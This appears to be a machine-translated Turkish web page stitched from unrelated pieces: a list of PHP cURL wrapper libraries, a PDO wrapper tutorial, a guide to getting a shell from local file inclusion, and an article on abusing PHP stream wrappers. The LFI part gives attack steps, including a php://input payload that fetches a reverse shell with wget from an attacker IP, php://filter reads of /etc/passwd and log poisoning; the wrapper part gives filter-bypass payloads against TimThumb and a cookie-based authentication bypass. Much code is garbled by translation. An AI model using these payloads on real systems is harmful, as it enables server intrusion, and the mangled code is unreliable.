PHP Akışlarına Giriş. PDO için basit sarıcı Dayanılmaz sarıcı php

  • 03.11.2019

Krallar mı, ancak bazen projenizin boyutuna veya önemine göre, böyle bir kütüphaneye ihtiyacınız yok, sadece cURL'ye ihtiyacınız var. Mesele şu ki, varsayılan sözdizimine sahip cURL ile çalışmak sıkıcı olabilir, bu yüzden kullanmak isteyebilirsiniz. birçok görevi basitleştiren ve isteklerin yürütülmesini kolaylaştıran bir sarmalayıcı.

7. dcai ile kıvrılma

Bu sarmalayıcı, PHP cURL Kitaplığının sözdizimini basitleştiren bir soyutlama katmanı sunar:

$http = yeni dcai\curl; // önbelleği etkinleştir $http = new dcai\curl(array("cache"=>true)); // tanımlama bilgisini etkinleştir $http = new dcai\curl(array("cookie"=>true)); // proxy'yi etkinleştir $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $yanıt = $http->get("http://example.com"); // HTTP POST $yanıt = $http->post("http://example.com/", dizi("q"=>"kelimeler", "name"=>"moodle")); // RAW POST $xml = " rol yapmak"; $yanıt = $http->post("http://example.com/", $xml); // HTTP PUT $yanıt = $http->put("http://example.com/", dizi("dosya"=>"/var/www/test.txt");

6.Curl Sarıcı

CurlWrapper, PHP cURL uzantısı için esnek bir sarmalayıcı sınıfıdır. Kitaplığın bir örneğini aşağıdakilerle kolayca başlatabilirsiniz:

( $curl = new CurlWrapper(); ) yakalamayı deneyin (CurlWrapperException $e) ( echo $e->getMessage(); )

CurlWrapper nesnesi 5 tür isteği destekler: HEAD, GET, POST, PUT ve DELETE. Talep edilecek bir url belirtmeli ve isteğe bağlı olarak onunla birlikte gönderilecek bir ilişkisel dizi veya değişken sorgu dizesi belirtmelisiniz:

$yanıt = $curl->head($url, $params); $yanıt = $curl->get($url, $params); $yanıt = $curl->post($url, $params); $yanıt = $curl->put($url, $params); $yanıt = $curl->delete($url, $params);

5. yuvarlanan cURLx

Rolling Curl, PHP için çok havalı bir isimle kullanımı kolay bir cURL Çoklu sarmalayıcıdır. PHP'de eşzamanlı http isteklerini olabildiğince kolay hale getirmeyi amaçlar. İlk önce, bir seferde açılmasını istediğiniz maksimum eşzamanlı istek sayısıyla sınıfı başlatın:

$RCX = yeni RollingCurlX(10);

Bundan sonraki tüm istekler, biri tamamlanana kadar sıraya alınır:

$url = "http://www.google.com/search?q=apples"; $post_data = ["user" => "bob", "token" => "dQw4w9WgXcQ"]; //POST kullanılmıyorsa NULL olarak ayarlayın $user_data = ["foo", $ne olursa olsun]; $seçenekler = ; function callback_functn($response, $url, $request_info, $user_data, $time) ( $time; //isteğin milisaniye cinsinden ne kadar sürdüğü (kayan) $request_info; // curl_getinfo($ch tarafından döndürülen dizi), artı bir birkaç ekstra ) $RCX->addRequest($url, $post_data, "callback_functn", $user_data, $options, $headers);

İstekleri gönderin. Tüm istekler tamamlanana veya zaman aşımına uğrayana kadar engeller:

$RCX->execute();

4. PHP Kıvrımı

PHP Curl, cURL için çok Basit bir PHP curl sarmalayıcı sınıfıdır. Yazara göre, bu sınıf PHP'nin curl yetenekleri için mümkün olan en küçük OOP sarmalayıcıdır. Bunun yüksek seviyeli bir soyutlama anlamına gelmediğini unutmayın. Yine de "saf PHP" curl'nin nasıl çalıştığını bilmelisiniz, ayarlamak için curl seçenekleri ve bazı HTTP temellerini bilmeniz gerekir.Sözdizimi geliştirici dostudur:

// newRequest, newJsonRequest ve newRawRequest bir İstek nesnesi döndürür $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Kabul-Karakter Seti", "utf -8") ->setHeader("Kabul Et-Dil", "en-US") ->setOption(CURLOPT_CAINFO, "/path/to/cert") ->setOption(CURLOPT_FOLLOWLOCATION, true); $yanıt = $istek->gönder();

3. Kolay Kıvrım

Curl Easy, PHP'nin cURL uzantısı için sarıcıdır. Paralel ve engellenmeyen istekleri destekler. Bu, işleri hızlandıran küçük ama güçlü ve sağlam bir kütüphanedir. PHP cURL uzantısını prosedürel arayüzü ile kullanmaktan bıktıysanız, ancak komut dosyası yürütme konusunda da kontrolü elinizde tutmak istiyorsanız, bu sizin için harika bir seçimdir. Bu kitaplık:

  • yaygın olarak birim test edildi.
  • orta düzeyde arayüze sahip hafif kitaplık. Hepsi bir arada kütüphane değil.
  • çok basit arayüz ile paralel/asenkron bağlantılar.
  • çalışma zamanında istekleri paralel olarak ekleme/ayırma!
  • yürütme sürecini kontrol edebilmeniz için geri arama desteği.
  • CURLOPT_* sabitlerine alternatif olarak akıllı ayarlayıcılar.
  • cURL php uzantısını biliyorsanız, baştan bir şeyler öğrenmek zorunda değilsiniz.

Sözdiziminin anlaşılması da oldukça kolaydır:

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURNTRANSFER, true); $yanıt = $istek->gönder(); $feed = json_decode($response->getContent(), true); echo "Mevcut bitcoin fiyatı: " . $feed["veri"]["oran"] . " " . $feed["veri"]["kod"] . "\n";

2. Shuber ile Curl

Curl kitaplığı, PHP için temel bir CURL sarmalayıcıdır. Curl nesnesi 5 tür isteği destekler: HEAD, GET, POST, PUT ve DELETE. Talep edilecek bir url belirtmeli ve isteğe bağlı olarak onunla birlikte gönderilecek bir ilişkisel dizi veya değişkenler dizisi belirtmelisiniz. Basitçe Curl sınıfını şu şekilde isteyin ve başlatın:

Require_once "curl.php"; $kıvırmak = yeni Kıvrılmak; $yanıt = $curl->head($url, $vars = dizi()); $yanıt = $curl->get($url, $vars = dizi()); # Curl nesnesi $vars dizisini $url'ye bir sorgu dizesi olarak ekler $response = $curl->post($url, $vars = array()); $yanıt = $curl->put($url, $vars = dizi()); $yanıt = $curl->delete($url, $vars = dizi());

1. PHP Kıvrılma Sınıfı

PHP Curl Class, HTTP isteklerini göndermeyi ve her türlü web API'si ile entegre etmeyi gerçekten kolaylaştıran çok iyi yazılmış bir cURL sarmalayıcıdır. PHP Curl Class, PHP 5.3, 5.4, 5.5, 5.6, 7.0, 7.1 ve HHVM ile çalışır. Bu kitaplık yaygın olarak bilinir ve gerçekten kolay bir sözdizimi sunar:

__DIR__ gerektirir. "/vendor/autoload.php"; kullan\Kıvr\Kıvr; $kıvırmak = yeni Kıvrılmak(); $curl->get("https://www.example.com/"); if ($curl->error) ( echo "Hata: " . $curl->errorCode . ": " . $curl->errorMessage . "\n"; ) else ( echo "Yanıt:" . "\n"; var_dump($curl->yanıt); )

PHP'de yazılmış cURL uzantısı için başka bir harika sarmalayıcı kitaplığı biliyorsanız, lütfen yorum kutusunda toplulukla paylaşın.

LFI'nin açılımı Yerel Dosya İçeriği- bir saldırganın hedef web sunucusunda bulunan dosyaları dahil etmesine izin veren bir dosya yerel dahil etme güvenlik açığıdır. Tipik olarak bu, kullanıcı girişini temizlemeyen dinamik dosya ekleme mekanizmalarının kötüye kullanılmasıyla kullanılır.

Kullanıcı girdisini temizlemeden parametre olarak dosya adlarını alan komut dosyaları, LFI güvenlik açıkları için iyi adaylardır; buna iyi bir örnek, image.jpg'yi parametre olarak alan aşağıdaki PHP komut dosyası foo.php?file=image.jpg olabilir. Saldırgan sadece image.jpg'yi değiştirir ve bir yük ekler. Normalde, komut dosyası dizininden kaçan ve dosya sistemi dizin yapısını geçen, foo.php?file=../../../../../../.. gibi hassas dosyaları açığa çıkaran bir dizin geçiş yükü kullanılır. /etc/passwd veya web uygulamasının kendi içindeki hassas dosyalar. SQL kullanıcı adlarını ve parolalarını içeren hassas bilgileri veya yapılandırma dosyalarını açığa çıkarmak.

Not: Bazı durumlarda, LFI güvenlik açığının doğasına bağlı olarak sistem yürütülebilir dosyalarını çalıştırmak mümkündür.

LFI'den Shell nasıl alınır

Aşağıda, savunmasız LFI komut dosyalarına sahip sistemlerde bir kabuk elde etmek için geçmişte kullandığım bazı teknikler bulunmaktadır.

Yol Geçişi, diğer adıyla Dizin Geçişi

Yukarıda bahsedildiği gibi, bir kabuk, kullanıcı adları / şifreler vb. edinmenize yardımcı olabilecek sistem hakkındaki hassas bilgileri ifşa etmek için dosya sistemi dizin yapısını geçin.

PHP Sarıcı bekle: // LFI

Php bekletme sarmalayıcısı aracılığıyla sistem komutlarının yürütülmesine izin verir, ne yazık ki bu varsayılan olarak etkin değildir.

PHP'nin beklediği bir örnek:

http://127.0.0.1/fileincl/example1.php?page=expect://ls

PHP beklenti sarmalayıcısı devre dışı bırakılırsa alınan hata aşağıdadır:

Uyarı : include () : "beklenen" sarmalayıcı bulunamadı - bunu etkinleştirmeyi unuttunuz mu?< br >PHP yapılandırıldı mı? /var/www/fileincl/örnek1'de. 7. satırda php Uyarı: include() : Bulunamadı< br >sarmalayıcı "bekliyoruz" - PHP'yi yapılandırırken etkinleştirmeyi unuttunuz mu? içinde< br >/var/www/fileincl/example1. 7. satırda php Uyarı: içerme (:// ls bekleniyor): akış açılamadı: /var/www/fileincl/örnek1'de böyle bir dosya veya dizin yok. 7. satırda php Uyarı: include () : Eklemek için "expect://ls" açılamadı (include_path = ".:/usr/share/php:/usr/share/pear") /var/www/fileincl/example1 içinde. php satır 7

PHP Sarıcı php://dosyası

Başka bir PHP sarmalayıcı, php://input yükünüz, gönderi verilerini sağlamak için curl, burp veya hackbar kullanılarak bir POST isteğinde gönderilir, muhtemelen en kolay seçenektir.

http://192.168.183.128/fileincl/example1.php?page=php://input

Veri yükünü gönderin, başlamak için basit bir şey deneyin:

Ardından, aşağıdakileri kullanarak saldıran makinenizden bir a indirmeyi deneyin:

"wget ​​http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php") ; ?>

Yüklemeden sonra http://192.168.183.129/shell.php adresindeki ters kabuğu çalıştırın.

PHP Sarıcı php://filtre

Başka bir PHP sarmalayıcı, php://filter bu örnekte çıktı base64 kullanılarak kodlanmıştır, bu nedenle çıktının kodunu çözmeniz gerekir.

http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ LFI Yöntemi

Güvenlik açığı bulunan LFI komut dosyanızdan /proc/self/environ eklemek mümkünse, Kullanıcı Aracısı parametresini Burp ile değiştirerek kod yürütmesinden yararlanılabilir. PHP kodu tanıtıldıktan sonra /proc/self/environ, savunmasız LFI betiğiniz aracılığıyla yürütülebilir.

/proc/self/fd/ LFI Yöntemi

Önceki /proc/self/environ yöntemine benzer şekilde, proc günlük dosyalarına savunmasız LFI komut dosyanız aracılığıyla yürütülebilecek kod eklemek mümkündür. PHP kodunu yönlendirene enjekte etmek için tipik olarak burp veya curl kullanırsınız.

Apache hata günlüğü bilgilerini içeren proc dosyası /proc/self/fd/ altında değiştiği için bu yöntem biraz zordur. /proc/self/fd/2 , /proc/self/fd/10 vb. /proc/self/fd/ dizininin dizin yapısını Burp Intruder + FuzzDB'nin olası proc dosyalarının LFI-FD-Check.txt listesiyle kaba zorlamayı öneririm, daha sonra döndürülen sayfa boyutlarını izleyebilir ve inceleyebilirsiniz.

fimap LFI Kalem Test Aracı

fimap, yukarıdaki LFI komut dosyalarını keşfetme ve kullanma işlemlerini otomatikleştiren kalem testlerinde kullanılan bir araçtır. Güvenlik açığı bulunan bir LFI komut dosyası keşfettikten sonra fimap, yerel dosya sistemini numaralandıracak ve yazılabilir günlük dosyalarını veya /proc/self/environ gibi konumları arayacaktır. LFI keşfini otomatikleştirmek için kalem testisleri tarafından yaygın olarak kullanılan bir başka araç da benzer şekilde çalışan Kali'nin dotdotpwn aracıdır.

fimap + phpinfo() Exploit

Fimap, oluşturulan geçici dosyanın konumunu ortaya çıkarmak için PHPinfo() bilgi ifşa hatasını kötüye kullanarak Yerel Dosya Ekleme aracılığıyla PHP'nin geçici dosya oluşturma işleminden yararlanır.

Bir phpinfo() dosyası varsa, genellikle bir kabuk elde etmek mümkündür, eğer phpinfo dosyasının konumunu bilmiyorsanız fimap bunu araştırabilir veya OWASP DirBuster gibi bir araç kullanabilirsiniz.


Hazır deyimlerle çalışırken hem PDO'nun hem de mysqli'nin ana dezavantajı, hazırlanmış bir sorgunun birden fazla yürütülmesi için yerleşik işlevlerinin keskinleştirilmiş olmasıdır (preparasyon yalnızca bir kez çağrıldığında ve ardından yürütme () farklı verilerle birçok kez çağrıldığında) . Bu yüzden çok ayrıntılıdırlar. Ancak sorun şu ki, pratikte PHP'de bu tür istekleri oldukça nadiren yerine getirmeniz gerekiyor. Sonuç olarak, çoğu istek için her seferinde gereksiz kod yazmanız gerekir:

$stmt = $pdo -> hazırla($sql );
$stmt -> çalıştır($params);
$veri = $stmt -> getir();

Ne denir - ne için savaştılar, bir şeye rastladılar. Unutulmaz mysql_query() ile karşılaştırıldığında kodda herhangi bir azalma olmadı. Ve çok isterim!
Aynı zamanda, Wes Furlong, PDO kullanıcıları için başka bir domuz yerleştirdi - execute (), bir ifade döndürmek yerine aptal bir boole değeri döndürür, bu da yöntem zincirlemeyi uygulamamıza ve aşağıdaki gibi güzel kodlar elde etmemize izin verir.

$veri = $pdo -> hazırla($sql)->execute($params)->fetch();

Ancak ne yazık ki, bu yaklaşım bile neredeyse kullanılamaz. Ve her durumda, gereksizdir, çünkü çoğu durumda hazırlamamız veya yürütmemiz gerekmemektedir - aptalca bir istek yürütmemiz, yer tutucular için lanet verileri ona aktarmamız gerekir.

Bu nedenle, yazma miktarını azaltmak için, tüm işlevi yukarıdaki koda indirgenecek olan PDO'ya bir işlev ekleyelim, run() - hazırla/yürüt'ü yürütün ve bir ifade döndürün:

sınıf MyPDO, PDO'yu genişletir
{
genel işlev çalıştırma ($sql , $args = NULL )
{
$stmt = $bu -> hazırla($sql );
$stmt -> çalıştır($args);
$stmt'yi döndür;
}
}

Ve zaten ifadeden herhangi bir veriyi herhangi bir standart yolla alabiliriz:

$veri = $pdo -> çalıştır( "SEÇ * KULLANICILARDAN NEREDE sex="erkek"")->fetchAll();

Sorun N2, erişilebilirlik
Yeni başlayanlar için bir başka sinir bozucu keşif, mysql_query() gibi komut dosyasında PDO'ya herhangi bir yerden erişilememesidir.

Bu nedenle, bir sonraki iyileştirme, statik bir tekil aracılığıyla PDO'ya erişimin uygulanması olacaktır. Bu model genellikle İnternette ve iyi bir nedenle eleştirilir. Ancak burada basit bir şeyi anlamanız gerekiyor:
Kodunuz bir singleton'un neden olabileceği sorunlara yatkınsa, büyük olasılıkla popüler bir çerçeveden gelen yüksek düzeyli bir veritabanı sürücüsü kullanıyorsunuz demektir.
Ancak mysql_query() ile mağaradan yeni çıktıysanız, bağlantıyı geçme endişesi duymadan kodunuzun her yerine yazmaya alışmak, o zaman yanınızda bir PDO örneği taşımak zorunda kalmak ciddi bir test olacaktır. PDO sözdiziminin kendisinin ve hazırlanmış ifadelerin kendi başlarına böyle kırılgan olmayan bir giriş eşiği oluşturmasına rağmen. Öyleyse, eski güzel günlerde olduğu gibi, senaryonun herhangi bir yerinden veritabanına erişme yeteneği ile hapı tatlandırmaya çalışalım.

Sonuç, kullanımı mysql_query() kadar kolay olmakla birlikte, hazırlanan ifadelerde daha yalın ve daha güvenli olan çok kompakt bir PDO eklentisidir.

kod

define("DB_HOST", "localhost");
define("DB_NAME", "deneme");
define("DB_USER", "kök");
define("DB_PASS", "");
define("DB_CHAR", "utf8");

sınıfDB
{
korumalı statik $örnek = null ;

genel işlev __construct()()
genel işlev __clone()()

genel statik işlev örneği()
{
if (self :: $instance === null )
{
$seç = dizi(
PDO :: ATTR_ERRMODE => PDO :: ERRMODE_EXCEPTION ,
PDO :: ATTR_DEFAULT_FETCH_MODE => PDO :: FETCH_ASSOC ,
PDO::ATTR_EMULATE_PREPARES => DOĞRU,
);
$dsn = "mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . "; karakter kümesi=" . DB_CHAR ;
self :: $örnek = yeni PDO ($dsn , DB_USER , DB_PASS , $opt );
}
kendini döndür :: $örnek ;
}

Genel statik işlev __callStatic ($method , $args )
{
call_user_func_array (dizi(self :: instance (), $yöntem ), $args );
}

Genel statik işlev çalıştırması ($sql , $args = )
{
if (!$args)
{
kendini döndür ::örnek()->sorgu($sql);
}
$stmt = self::instance()->prepare($sql);
$stmt -> çalıştır($args);
$stmt'yi döndür;
}
}

Örnekler

# Bir tablo oluşturun
db::sorgu( "CREATE geçici TABLE pdowrapper (id int auto_increment birincil anahtar, name varchar(255))");

# hazırlanan ifadelerin çoklu yürütülmesi
$stmt = DB::hazırla( "Pdowrapper DEĞERLERİNE EKLE (BOŞ, ?)");
foreach ([ "Sam" , "Bob" , "Joe" ] $ad olarak )
{
$stmt -> çalıştır([ $isim ]);
}
var_dump(DB::lastInsertId());
//dize(1) "3"

# Bir döngüde satır alma
$stmt = DB :: run("Pdowrapper'dan * SEÇİN");
while ($satır = $stmt -> getir (PDO::FETCH_LAZY ))
{
echo $satır[ "isim" ], "," ;
echo $satır -> isim , "," ;
echo $satır[1], PHP_EOL;
}
/*
Sam, Sam, Sam
Bob, Bob, Bob
Joe, Joe, Joe
*/

# Bir satır al
$id = 1 ;
$satır = db::run( "SELECT * FROM pdowrapper WHERE id=?", [ $id ])-> fetch();
var_export($satır);
/*
dizi(
"id" => "1",
"isim" => "Sam",
*/

# Bir alan al
$isim = db::run( "Pdowrapper'DAN AD SEÇ NEREDE id=?", [ $id ])-> fetchColumn();
var_dump($isim);
//string(3) "Sam"

# Tüm dizeleri bir diziye alın
$tümü = DB ::run( "Pdowrapper'dan isim, kimlik SEÇ")-> fetchAll(PDO::FETCH_KEY_PAIR);
var_export($tümü);
/*
dizi(
"Sam" => "1",
"Bob" => "2",
"Joe" => "3",
*/

# Tabloyu güncelle
$yeni = "Dava" ;
$stmt = db::run( "GÜNCELLEME pdowrapper SET adı=? NEREDE id=?", [ $yeni , $kimlik ]);
var_dump($stmt -> rowCount());
//int(1)

Programlama dilinin esnekliği geliştiricilere kolaylık sağlar, ancak aynı zamanda yeni saldırı vektörleri de açar. PHP geliştiricileri genellikle sözde sarmalayıcılar kullanır ve bunun uygulamada yerleşik güvenlik filtrelerini atlamaya ve örneğin sunucuda rastgele kod yürütülmesine izin verebileceğinden şüphelenmezler. Paketleyiciler, özellikleri ve bunlarla ilişkili tehditler hakkında ve bugün tartışılacaktır.

UYARI

Tüm bilgiler yalnızca bilgilendirme amaçlıdır. Ne editörler ne de yazar, bu makalenin materyallerinin kullanılmasından kaynaklanabilecek olası zararlardan sorumlu değildir.

giriş

PHP'de uygulanan sarmalayıcı mekanizma ile ilişkili güvenlik açıkları uzun süredir tartışılmaktadır. OWASP TOP 10 ve WASC TCv2'de bunlara atıfta bulunulur. Bununla birlikte, veri kodlama uygulamasının bir dizi özelliği, güvenlik göz önünde bulundurularak geliştirilen uygulamaların bile (kritik olanlar dahil) güvenlik açıkları içerebileceği gerçeğine yol açar. Bu yazıda, önce PHP sarmalayıcıların ne olduğuna ve programcılar için nasıl faydalı olabileceğine hızlıca göz atacağız. Ardından, uygulamada yerleşik güvenlik filtrelerini atlamanıza ve dosya sistemine yetkisiz erişim ve rastgele kod yürütme ile ilgili saldırılar uygulamanıza izin veren özelliklerini analiz edeceğiz.

sarmalayıcılar

PHP'de, 4.3.0 sürümünden itibaren yorumlayıcıda görünen akışlar (Akışlar) gibi bir şey vardır. Bu, tek bir işlev kümesi kullanarak dosyalar, ağ, sıkıştırılmış veriler ve diğer kaynaklarla çalışmak için soyut bir katmandır. En basit tanımıyla bir iş parçacığı, "iş parçacığı benzeri" davranışa sahip bir kaynaktır. Yani okuyabileceğiniz, yazabileceğiniz ve içinde gezinebileceğiniz bir kaynaktır. Örneğin, fopen işlevini düşünün. Resmi belgelere göre, aşağıdaki sözdizimine sahiptir:

Kaynak fopen (dize $dosyaadı , dize $mode [, bool $use_include_path = false [, kaynak $bağlam ]])

burada $filename yerel bir dosyanın yolu olabilir. Bunun gibi yerel dosyaların içeriğini alabileceğiniz iyi bilinmektedir:

$işlemci = fopen($dosya, "rb"); while (!feof($handle)) ( $content .= fread($handle, 8192); ) $içeriği yazdır;

Ancak dosyanın önemsiz yoluna ek olarak, sözde sarmalayıcılar (sarmalayıcı) kullanılabilir. Bunun ne olduğunu açıklamanın en iyi yolu birkaç örnek vermektir. Böylece, aynı fopen işlevi aracılığıyla sarmalayıcıların kullanılmasıyla, şu mümkün hale gelir:

  • FTP'den dosya indirin: ftp://user: [e-posta korumalı]/pub/file.txt;
  • bunlara erişim sınırlıysa, IP üzerinden sunucu-durumu/sunucu-bilgisine erişim: http://127.0.0.1/server-status;
  • okumaya açık erişim dosyası tanımlayıcıları (PHP >= 5.3.6): php://fd/XXX;
  • ve hatta işletim sistemi komutlarını çalıştırın (beklenen uzantı kuruluysa): wait://ls.

Sarmalayıcılar (aka protokol işleyicileri veya sarmalayıcılar), işlevlere bir akıştan verilerin nasıl işleneceğini söyler. Bu nedenle, çeşitli kaynaklardan veri almak için sarmalayıcıları destekleyen işlevler kullanılabilir. Sarmalayıcılar, programa herhangi bir akış yoluyla giren verileri esnek ve rahat bir şekilde işlemenize ve gerekirse bunları değiştirmenize olanak tanır.

Bu örnekte, okuma modunda sarmalayıcılar kullanılmıştır. Veriler yazılıyorsa, bu durumda sarmalayıcılar birçok işlevin yeteneklerini de genişletebilir. Örneğin, copy() işlevi, her iki bağımsız değişkeninde de sarmalayıcıları destekler ve ikinci bağımsız değişkende php://output sarmalayıcı kullanılırsa, kopyalanan dosya çıktı arabelleğine gönderilir. Böylece, copy() işlevi, dosyaların yalnızca kopyalanmasına değil, aynı zamanda okunmasına da izin verir.

Copy("/etc/passwd", "php://output");

Benzer şekilde, file_put_contents işlevini ve sarmalayıcıyı yazma modunda destekleyen diğer işlevleri kullanabilirsiniz:

File_put_contents("php://output", file_get_contents("/etc/hosts"));

PHP 5.3.6, dosya tanımlayıcılara doğrudan erişim sağlayan php://fd sarmalayıcısını tanıttı. PHP bir Apache modülü olarak kuruluysa, php://fd sarmalayıcı, access_log/error_log'a rastgele veri yazmanıza izin verir (genellikle bu dosyalardaki izinler 644'tür ve yalnızca kök bunlara doğrudan yazabilir).

PHP'nin birçok yerleşik sarmalayıcısı olduğunu söylemeliyim, ancak stream_wrapper_register işlevini kullanarak kendi sarmalayıcılarınızı oluşturabilir ve kaydedebilirsiniz. Daha fazla bilgiyi resmi PHP web sitesinde bulabilirsiniz. Kullanılabilir paketleyicilerin tam listesi phpinfo - Kayıtlı PHP Akışları bölümünde bulunabilir.

Bazı sarmalayıcılar, web uygulaması güvenlik açıklarından daha verimli şekilde yararlanılmasına olanak tanıyan belgelenmemiş özelliklere sahiptir. Bugün ele alacağımız bu özellikler.

Bir ZIP'de ne gizlidir?

ZIP, popüler bir veri sıkıştırma ve dosya arşivleme formatıdır. Bu biçim için destek, tüm modern işletim sistemlerinde uygulanır ve onunla çalışmak için kitaplıklar çoğu programlama dili için yazılmıştır. PHP'de bu formatla çalışmak için zip modülünü kullanmak uygundur.

Linux sistemlerinde, PHP --enable-zip seçeneğiyle derlenirse zip modülü kullanılabilir hale gelir. Yalnızca tek tek dosyaları değil, tüm dizinleri de arşivleyebilirsiniz; Dizin yapısını korumak için, arşive eklenen dosyaların adlarında eğik çizgi / kullanılmasına izin verilir. Zip modülünün bir diğer önemli özelliği, dosyaları rastgele bir adla işleme yeteneğidir: ana şey, dosyanın içeriğinin iyi biçimlendirilmiş bir zip arşivi olmasıdır.

Bir zip arşivi oluşturun $zip = new ZipArchive; if ($zip->open("/tmp/any_name_zip_arxiv",1))( $zip->addFromString("/my/header.html", "kapat();

Bir zip arşivi oluşturulduktan sonra, zip:// sarmalayıcı, arşivin içindeki dosyalara doğrudan erişebilir.

Zip arşivinden dosya okuma print file_get_contents("zip:///tmp/any_name_zip_arxiv#/my/header.html");

Adlarında eğik çizgi bulunan dosyaları arşivleme yeteneği, boş bir bayt olmadığında Remote File Include gibi güvenlik açıklarından yararlanmaya olanak tanır. Örneğin, aşağıdaki basit komut dosyasını düşünün:

$s = $_POST["yol"]; $s."/header.html" içerir;

Elbette, bu durumda kod yürütmeyi gerçekleştirmenin farklı yolları vardır. Ancak http://, ftp://, data:// sarmalayıcılarının kullanımı allow_url_include yönergesi ile sınırlıdır ve magic_quotes_gpc yönergesi büyük olasılıkla yerel dosyalar eklenirken boş bir bayt kullanılmasını engeller. Hatta allow_url_include=Off ve magic_quotes_gpc=On ile güvenlik açığından yararlanmanın hiçbir yolu yokmuş gibi görünebilir. Ancak daha önce kamuoyunda açıklanmayan başka bir yol daha var!

Başlangıç ​​olarak, saldırıya uğrayan sunucuda dosya oluşturmanın mümkün olduğunu varsayalım. Ardından, yukarıdaki örnekte gösterildiği gibi bir zip arşivi oluşturarak, zip:// sarmalayıcısını kullanarak PHP kodunu yürütmek mümkündür.

Yol=zip:///tmp/any_name_zip_arxiv#/my

PHP işlevini kullanarak istediğiniz dosyayı oluşturmak mümkün değilse, HTML formu aracılığıyla içerik yüklerken PHP'nin oluşturduğu geçici dosyaları kullanabilirsiniz. Geçici dosyanın yolu phpinfo() içinde bulunabilir. LFI/RFI gibi güvenlik açıklarından yararlanırken geçici dosyaların nasıl kullanılacağı hakkında daha fazla bilgi için rdot.org forumuna bakın. allow_url_fopen yönergesinin zip:// sarmalayıcısının kullanımını kısıtlamadığına dikkat etmek önemlidir.

verilerim nerede://?

data:// sarmalayıcı, başlangıcından bu yana web güvenlik uzmanlarının dikkatini çekti. Resmi belgelerde, bu sargının çok sınırlı bir biçimde kullanılması önerilmektedir. Ancak RFC 2379 belirtimine göre, bu sarmalayıcı daha genişletilmiş bir sözdizimine izin verir:

Dataurl:= "data:" [ mediatype ] [ ";base64" ] "," data mediatype:= [ type "/" subtype ] *(";" parametre) data:= *urlchar parametresi:= öznitelik "=" değer

Bu durumda, medya türü ya tamamen yok olabilir ya da isteğe bağlı değerlerle doldurulabilir:

Veri://anytype/anysubtype; [e-posta korumalı]!;youattr?=Op$;base64

Bu sarma özelliği, kontrolleri ve filtreleri atlamak için kullanılabilir. Örneğin, popüler TimThumb v1.x betiği şu filtreye sahiptir:

fonksiyon validate_url ($url) ( $pattern="/\b(?:(?:https?):\/\/|www\.)[ [e-posta korumalı]#\/%?=~_|!:,.;]*[[e-posta korumalı]#\/%=~_|]/i"; dönüş preg_match ($pattern, $url); )

Bu kontrolü şu şekilde atlayabilirsiniz:

Data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

PHP'nin stream_get_meta_data() adında bir işlevi vardır. Resmi belgelere göre, akışlardan ve dosya işaretçilerinden meta verileri çıkarır:

Dizi stream_get_meta_data (kaynak $akış)

Aynı zamanda, döndürülen dizi, açıkça tanımlanmış anahtarlara sahip öğeler içeriyor ve bu diziye yeni öğeler ekleme görevi ilk bakışta oldukça sorunlu görünüyor. Ancak data:// sarmalayıcısının yardımıyla bu diziyi değiştirmek oldukça kolaydır! Nasıl? bir örnek vereceğim:

$şifre = "gizli"; $dosya = $_POST["dosya"]; $fp = fopen($dosya, "r"); özü(stream_get_meta_data($fp)); if ($mediatype === "metin/düz") ( ... ) if ($_COOKIE["admin"] === $şifre) ( ... )

Veri sarmalayıcı, yerel dosya adı yerine $file değişkeninde kullanılıyorsa,

POST VERİLERİ: file=data://text/plain;password=mysecret;base64

sonra $password parametresini kolayca geçersiz kılabilir ve çerezleri kullanarak yetkilendirmeyi iletebilirsiniz.

Çerez: admin=gizem

Soğuk kompres

Belgelere göre, kompres.zlib:// sarmalayıcı, sıkıştırılmamış gz arşivlerine izin verir. Bir zlib arşivi olmayan verileri işlemek için bu sarmalayıcı kullanılıyorsa, veriler değişmeden döndürülür.

Readfile("compress.zlib:///etc/hosts");

"Çok kullanışlı!" - sence :). Şimdi daha zor olacak. Web için herhangi bir PHP programlaması yaptıysanız, muhtemelen prase_url() işlevine aşinasınızdır. Bu işlevin URL'yi ayrıştırdığını hatırlatmama izin verin. Ve burada ilginç bir nokta var: işlev girişi için yalnızca bir URL değil, aynı zamanda oldukça genel türde bir dize de sağlayabilirsiniz:

Print_r(parse_url("anysheme://anysite.com/;http:// [e-posta korumalı]=!"));

Bu özellik göz önüne alındığında, çok işlevli sarmalayıcılar kullanarak parse_url işlevine dayalı çeşitli denetimleri ve filtreleri atlamak mümkündür. Örneğin, geliştiriciler tarafından tasarlandığı şekliyle yalnızca güvenilir bir ana bilgisayar img.youtube.com'dan dosya indirebilen aşağıdaki komut dosyasını düşünün.

$url_info = parse_url($_POST["src"]); if ($url_info["host"] === "img.youtube.com") ( $name = str_replace("/", "", substr($url_info["path"], 4)); copy($ kaynak, "./".$isim); )

Normal modda, img.youtube.com'dan gelen önizlemeler aşağıdaki gibi yüklenir:

POST VERİLERİ: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

Bu durumda, filtre kompres.zlib:// sarmalayıcı kullanılarak da atlanabilir.

POST VERİLERİ: src=compress.zlib://img.youtube.com/../path/to/local/file;

Ek olarak, ana bilgisayar adındaki filtreyi atlamak ve daha önce tartıştığımız data:// sarmalayıcısını kullanarak rastgele bir ad ve içeriğe sahip bir dosyayı sunucuya yüklemek oldukça kolaydır:

POST VERİLERİ: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

Bu durumda, yerel dosyalar önizleme klasörüne kopyalanacaktır: bu klasör tarayıcıdan doğrudan erişim için mevcutsa, sistem dosyalarını görüntülemek mümkün olacaktır. Bu örnek, data:// ve comp.zlib:// sarmalayıcılarının kullanılmasının, uzak ana bilgisayarlardan dosya indiren komut dosyalarında yararlı olabileceğini gösterir. Böyle bir komut dosyası TimThumb'dır.


TimThumb v1.x'teki güvenlik açıklarından yararlanma

